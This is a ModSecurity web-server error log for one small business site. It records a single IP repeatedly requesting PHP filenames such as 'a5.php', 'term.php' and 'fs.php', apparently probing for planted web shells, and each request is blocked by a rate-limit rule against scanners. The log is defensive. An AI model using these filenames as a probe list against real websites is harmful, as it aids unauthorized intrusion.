[Wed Apr 15 19:01:32.142006 2026] [:error] [pid 30957:tid 31001] [client 51.120.68.159:21731] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad9wDH5gwVEVXHfVSiprIgAAAEw"]
[Wed Apr 15 19:01:32.531120 2026] [:error] [pid 37370:tid 37376] [client 51.120.68.159:20201] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad9wDHg-gnM2Ga0cGAD7DQAAAQQ"]
[Wed Apr 15 19:01:32.802335 2026] [:error] [pid 30958:tid 31028] [client 51.120.68.159:7541] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad9wDMeG3wSKTO7NWFGIUAAAAMw"]
[Wed Apr 15 19:01:33.131864 2026] [:error] [pid 30956:tid 30974] [client 51.120.68.159:23640] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad9wDUBGUpjaWntNYq1dHQAAAA4"]
[Wed Apr 15 19:01:33.353629 2026] [:error] [pid 30957:tid 31000] [client 51.120.68.159:44125] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad9wDX5gwVEVXHfVSiprJQAAAEs"]
[Wed Apr 15 19:01:33.727701 2026] [:error] [pid 31053:tid 31079] [client 51.120.68.159:12494] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad9wDRcEkLCmvF0fjDekiwAAAJc"]
[Wed Apr 15 19:01:33.913292 2026] [:error] [pid 31053:tid 31059] [client 51.120.68.159:7523] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad9wDRcEkLCmvF0fjDekjAAAAIM"]
[Wed Apr 15 19:01:34.302159 2026] [:error] [pid 30957:tid 30997] [client 51.120.68.159:11388] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad9wDn5gwVEVXHfVSiprJwAAAEg"]
[Wed Apr 15 19:01:34.452627 2026] [:error] [pid 31053:tid 31058] [client 51.120.68.159:50670] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad9wDhcEkLCmvF0fjDekkAAAAII"]
[Wed Apr 15 19:01:34.930464 2026] [:error] [pid 30957:tid 30989] [client 51.120.68.159:21722] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad9wDn5gwVEVXHfVSiprKAAAAEA"]
[Wed Apr 15 19:01:35.101469 2026] [:error] [pid 37370:tid 37382] [client 51.120.68.159:11356] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad9wD3g-gnM2Ga0cGAD7EQAAAQo"]
[Wed Apr 15 19:01:35.510063 2026] [:error] [pid 30957:tid 31006] [client 51.120.68.159:7495] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad9wD35gwVEVXHfVSiprKgAAAFE"]
[Wed Apr 15 19:01:35.642892 2026] [:error] [pid 37370:tid 37388] [client 51.120.68.159:50645] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad9wD3g-gnM2Ga0cGAD7FQAAARA"]
[Wed Apr 15 19:01:36.168178 2026] [:error] [pid 31053:tid 31074] [client 51.120.68.159:50679] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad9wEBcEkLCmvF0fjDekkgAAAJI"]
[Wed Apr 15 19:01:36.215368 2026] [:error] [pid 37370:tid 37387] [client 51.120.68.159:3245] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad9wEHg-gnM2Ga0cGAD7GQAAAQ8"]
[Wed Apr 15 19:01:36.819013 2026] [:error] [pid 37370:tid 37372] [client 51.120.68.159:9058] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad9wEHg-gnM2Ga0cGAD7GgAAAQA"]
[Wed Apr 15 19:01:36.927037 2026] [:error] [pid 30958:tid 31027] [client 51.120.68.159:25440] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad9wEMeG3wSKTO7NWFGIUgAAAMs"]
[Wed Apr 15 19:01:37.369414 2026] [:error] [pid 30958:tid 31029] [client 51.120.68.159:44111] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad9wEceG3wSKTO7NWFGIVQAAAM0"]
[Wed Apr 15 19:01:37.513152 2026] [:error] [pid 31053:tid 31071] [client 51.120.68.159:12079] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad9wERcEkLCmvF0fjDeklAAAAI8"]
[Wed Apr 15 19:01:38.334707 2026] [:error] [pid 30957:tid 31002] [client 51.120.68.159:24751] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad9wEn5gwVEVXHfVSiprMQAAAE0"]
[Wed Apr 15 19:01:38.471470 2026] [:error] [pid 31053:tid 31079] [client 51.120.68.159:24336] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad9wEhcEkLCmvF0fjDeklgAAAJc"]
[Wed Apr 15 19:01:39.220904 2026] [:error] [pid 37370:tid 37378] [client 51.120.68.159:7493] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad9wE3g-gnM2Ga0cGAD7HgAAAQY"]
[Wed Apr 15 19:01:39.581558 2026] [:error] [pid 31053:tid 31070] [client 51.120.68.159:23672] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad9wExcEkLCmvF0fjDekmQAAAI4"]
[Wed Apr 15 19:01:39.920910 2026] [:error] [pid 31053:tid 31073] [client 51.120.68.159:9085] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad9wExcEkLCmvF0fjDekmwAAAJE"]
[Wed Apr 15 19:01:40.448682 2026] [:error] [pid 30958:tid 31036] [client 51.120.68.159:7534] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad9wFMeG3wSKTO7NWFGIVgAAANQ"]
[Wed Apr 15 19:01:40.638748 2026] [:error] [pid 30957:tid 30998] [client 51.120.68.159:3263] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad9wFH5gwVEVXHfVSiprNAAAAEk"]
[Wed Apr 15 19:01:41.139544 2026] [:error] [pid 30958:tid 31024] [client 51.120.68.159:9052] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad9wFceG3wSKTO7NWFGIVwAAAMg"]
[Wed Apr 15 19:01:41.319663 2026] [:error] [pid 30958:tid 31037] [client 51.120.68.159:7491] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad9wFceG3wSKTO7NWFGIWAAAANU"]
[Wed Apr 15 19:01:41.847552 2026] [:error] [pid 30958:tid 31039] [client 51.120.68.159:9036] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad9wFceG3wSKTO7NWFGIWQAAANc"]
[Wed Apr 15 19:01:42.017343 2026] [:error] [pid 30958:tid 31032] [client 51.120.68.159:25470] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad9wFseG3wSKTO7NWFGIWgAAANA"]
[Wed Apr 15 19:01:42.448456 2026] [:error] [pid 30958:tid 31016] [client 51.120.68.159:12539] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad9wFseG3wSKTO7NWFGIXAAAAMA"]
[Wed Apr 15 19:01:42.616957 2026] [:error] [pid 30956:tid 30977] [client 51.120.68.159:24346] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad9wFkBGUpjaWntNYq1dIQAAABE"]
[Wed Apr 15 19:01:43.137568 2026] [:error] [pid 30956:tid 30966] [client 51.120.68.159:3232] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad9wF0BGUpjaWntNYq1dIgAAAAY"]
[Wed Apr 15 19:01:43.406034 2026] [:error] [pid 31053:tid 31076] [client 51.120.68.159:11663] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad9wFxcEkLCmvF0fjDekoAAAAJQ"]
[Wed Apr 15 19:01:43.738321 2026] [:error] [pid 30958:tid 31017] [client 51.120.68.159:16268] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad9wF8eG3wSKTO7NWFGIYQAAAME"]
[Wed Apr 15 19:01:44.055500 2026] [:error] [pid 31053:tid 31079] [client 51.120.68.159:25434] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad9wGBcEkLCmvF0fjDekowAAAJc"]
[Wed Apr 15 19:01:44.553083 2026] [:error] [pid 31053:tid 31057] [client 51.120.68.159:16305] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad9wGBcEkLCmvF0fjDekpQAAAIE"]
[Wed Apr 15 19:01:44.684290 2026] [:error] [pid 30957:tid 30995] [client 51.120.68.159:50652] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad9wGH5gwVEVXHfVSiprOAAAAEY"]
[Wed Apr 15 19:01:45.154744 2026] [:error] [pid 30957:tid 31006] [client 51.120.68.159:3213] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad9wGX5gwVEVXHfVSiprOQAAAFE"]
[Wed Apr 15 19:01:45.289765 2026] [:error] [pid 30957:tid 31011] [client 51.120.68.159:25408] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad9wGX5gwVEVXHfVSiprOgAAAFY"]
[Wed Apr 15 19:01:45.889050 2026] [:error] [pid 30957:tid 31008] [client 51.120.68.159:9075] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad9wGX5gwVEVXHfVSiprPgAAAFM"]
[Wed Apr 15 19:01:45.895860 2026] [:error] [pid 30958:tid 31029] [client 51.120.68.159:12094] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad9wGceG3wSKTO7NWFGIYwAAAM0"]
[Wed Apr 15 19:01:46.464132 2026] [:error] [pid 30957:tid 31012] [client 51.120.68.159:16760] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad9wGn5gwVEVXHfVSiprPwAAAFc"]
[Wed Apr 15 19:01:46.508815 2026] [:error] [pid 31053:tid 31058] [client 51.120.68.159:9068] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad9wGhcEkLCmvF0fjDekqgAAAII"]
[Wed Apr 15 19:01:47.010841 2026] [:error] [pid 31053:tid 31070] [client 51.120.68.159:50624] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad9wGxcEkLCmvF0fjDekuQAAAI4"]
[Wed Apr 15 19:01:47.204591 2026] [:error] [pid 31053:tid 31066] [client 51.120.68.159:3206] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad9wGxcEkLCmvF0fjDekxAAAAIo"]
[Wed Apr 15 19:01:47.583578 2026] [:error] [pid 37370:tid 37376] [client 51.120.68.159:24363] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad9wG3g-gnM2Ga0cGAD7NwAAAQQ"]
[Wed Apr 15 19:01:47.735484 2026] [:error] [pid 31053:tid 31062] [client 51.120.68.159:7529] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad9wGxcEkLCmvF0fjDek6gAAAIY"]
[Wed Apr 15 19:01:48.162220 2026] [:error] [pid 30956:tid 30983] [client 51.120.68.159:24373] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad9wHEBGUpjaWntNYq1dcwAAABc"]
[Wed Apr 15 19:01:48.312110 2026] [:error] [pid 31053:tid 31061] [client 51.120.68.159:3755] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad9wHBcEkLCmvF0fjDelCwAAAIU"]
[Wed Apr 15 19:01:48.764559 2026] [:error] [pid 31053:tid 31063] [client 51.120.68.159:24063] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad9wHBcEkLCmvF0fjDelDAAAAIc"]
[Wed Apr 15 19:01:48.895101 2026] [:error] [pid 30958:tid 31034] [client 51.120.68.159:12070] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad9wHMeG3wSKTO7NWFGIoQAAANI"]
[Wed Apr 15 19:01:49.316001 2026] [:error] [pid 31053:tid 31068] [client 51.120.68.159:12507] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad9wHRcEkLCmvF0fjDelDQAAAIw"]
[Wed Apr 15 19:01:49.489427 2026] [:error] [pid 37370:tid 37391] [client 51.120.68.159:24342] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad9wHXg-gnM2Ga0cGAD7kAAAARM"]
[Wed Apr 15 19:01:49.955484 2026] [:error] [pid 37370:tid 37386] [client 51.120.68.159:8631] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad9wHXg-gnM2Ga0cGAD7kgAAAQ4"]
[Wed Apr 15 19:01:50.080070 2026] [:error] [pid 30957:tid 31008] [client 51.120.68.159:24752] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad9wHn5gwVEVXHfVSipreQAAAFM"]
